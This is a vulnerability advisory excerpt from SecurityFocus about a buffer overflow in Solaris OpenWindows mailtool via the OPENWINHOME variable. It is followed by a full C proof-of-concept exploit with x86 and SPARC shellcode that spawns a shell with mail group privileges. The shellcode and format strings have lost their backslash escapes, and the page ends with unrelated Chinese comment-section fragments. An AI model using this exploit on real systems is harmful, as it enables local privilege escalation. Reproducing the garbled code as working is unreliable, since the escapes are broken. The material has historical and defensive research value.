source: http://www.securityfocus.com/bid/2787/info
The mailtool program included with OpenWindows in Solaris, contains a buffer overflow vulnerability which may allow local users to execute arbitrary code/commands with group 'mail' privileges.
The overflow occurs when a string exceeding approximately 1010 characters is given as the OPENWINHOME environment variable.
/*
mailt00l.c, by 51 (June 2001)
Proof of concept code, exploiting the recently discovered buffer overflow
in Solaris 8 /usr/openwin/bin/mailtool, yielding GID mail
(http://packetstorm.securify.com/groups/synnergy/mailtool-adv.txt).
Should work with both x86 and Sparc versions, thx to compilation directives.
As a matter of course, the defaults buffersize and offset may need to be
tweaked a bit.
Usage : ./mailt00l [buffersize] [offset]
Shouts to Trick for various mentoring...
mail : [email protected]
www.cyberarmy.com
www.g0tr00t.net
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 1600
#if defined(__i386__) && defined(__sun__)
#define ARCH "x86 Sun"
#define NOP_SIZE 1
char nop[] = "x90";
char shellcode[] =
"xebx3bx9axffxffxffxffx07xffxc3x5ex31xc0x89x46xc1"
"x88x46xc6x88x46x07x89x46x0cx31xc0x50xb0x17xe8xdf"
"xffxffxffx83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89"
"x5ex08x53xb0x3bxe8xc8xffxffxffx83xc4x0cxe8xc8xff"
"xffxffx2fx62x69x6ex2fx73x68xffxffxffxffxffxffxff"
"xffxff";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__)
#define ARCH "Sun Sparc"
#define NOP_SIZE 4
/* Shellcode ripped from Aleph1 */
char nop[]="xacx15xa1x6e";
char shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20x08"
"x90x1bxc0x0fx82x10x20x01x91xd0x20x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
int main(int argc, char *argv[])
{
char *ex[2];
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
printf("Archi: %sn", (char *)ARCH);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory.n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%xn", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = buff;
for (i = 0; i < (bsize - strlen(shellcode)) / 2 - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
*(ptr++) = nop[n];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = ' ';
memcpy(buff,"OPENWINHOME=",12);
putenv(buff);
printf("Now running: /usr/openwin/bin/mailtooln");
ex[0] = "/usr/openwin/bin/mailtool";
ex[1] = NULL;
execv(ex[0], ex);
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666